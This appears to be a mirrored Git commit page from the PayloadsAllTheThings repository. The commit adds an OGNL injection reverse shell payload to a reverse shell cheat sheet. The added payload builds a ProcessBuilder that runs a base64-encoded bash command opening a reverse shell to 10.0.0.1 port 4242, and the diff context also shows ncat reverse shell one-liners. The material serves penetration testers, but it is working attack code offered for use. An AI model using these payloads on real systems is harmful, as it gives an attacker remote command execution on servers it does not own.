mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-11-10 07:04:22 +00:00
Merge pull request #704 from therealtoastycat/patch-1
Adding reverse shell payload for OGNL
This commit is contained in:
commit
4b77292aeb
1 changed files with 9 additions and 0 deletions
|
@ -22,6 +22,7 @@
|
||||||
* [Netcat BusyBox](#netcat-busybox)
|
* [Netcat BusyBox](#netcat-busybox)
|
||||||
* [Netcat Traditional](#netcat-traditional)
|
* [Netcat Traditional](#netcat-traditional)
|
||||||
* [NodeJS](#nodejs)
|
* [NodeJS](#nodejs)
|
||||||
|
* [OGNL](#ognl)
|
||||||
* [OpenSSL](#openssl)
|
* [OpenSSL](#openssl)
|
||||||
* [Perl](#perl)
|
* [Perl](#perl)
|
||||||
* [PHP](#php)
|
* [PHP](#php)
|
||||||
|
@ -252,6 +253,14 @@ ncat 10.0.0.1 4242 -e /bin/bash
|
||||||
ncat --udp 10.0.0.1 4242 -e /bin/bash
|
ncat --udp 10.0.0.1 4242 -e /bin/bash
|
||||||
```
|
```
|
||||||
|
|
||||||
|
### OGNL
|
||||||
|
|
||||||
|
```java
|
||||||
|
(#a='echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjEnCg== | base64 -d | bash -i').(#b={'bash','-c',#a}).(#p=new java.lang.ProcessBuilder(#b)).(#process=#p.start())
|
||||||
|
```
|
||||||
|
|
||||||
|
With `YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjEnCg==` decoding to `bash -c 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1'`, the payload within the single quotes might be changed by any Linux-compatible reverse shell.
|
||||||
|
|
||||||
### OpenSSL
|
### OpenSSL
|
||||||
|
|
||||||
Attacker:
|
Attacker:
|
||||||
|
|
Loading…
Reference in a new issue